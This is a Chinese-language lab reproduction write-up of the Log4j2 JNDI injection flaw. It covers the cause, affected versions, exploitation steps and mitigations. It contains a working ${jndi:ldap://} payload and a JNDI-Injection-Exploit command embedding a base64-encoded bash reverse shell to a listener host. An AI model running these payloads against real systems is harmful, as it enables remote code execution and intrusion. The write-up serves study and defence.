漏洞原理
该漏洞是由于,在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
漏洞影响范围
2.0 <= Apache Log4j2<= 2.14.1
漏洞复现过程
启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。
首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。
payload=${jndi:ldap://dnslog地址/}并将其进行url转码。
如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是将payload全部进行url编码。(这一块之所以需要编码,可能是环境的问题)
下面为了获取shell反弹,需要先进行bash指令base64编码。
base64转码地址:https://ares-x.com/tools/runtime-exec
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.5.129
此处我选择的是Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)的结果。
在此处可以发现,首先通过rmi远程监听,接收到远程调用后,将其转发至payload地址,调用exp。
成功getshell。
我采用的是较为简单便捷的方法进行复现,全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,另外,还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。可以使用marshalsec-0.0.3-SNAPSHOT-all.jar进行rmi监听,使用ysoserial生成poc。
漏洞修复建议
及时升级log4j组件。
临时建议
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
在应用classpath下添加log4j2.component.properties配置文件,文件内容为 log4j2.formatMsgNoLookups=true
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
部署使用第三方防火墙产品进行安全防护。
参考链接
Log4j2漏洞环境搭建及复现:http://www.plumstar.cn/2022/11/14/Apache%20Log4j2%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Log4j2漏洞原理、复现与利用:https://www.cnblogs.com/hellobao/articles/17249334.html
CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现:https://blog.csdn.net/weixin_44309905/article/details/122316579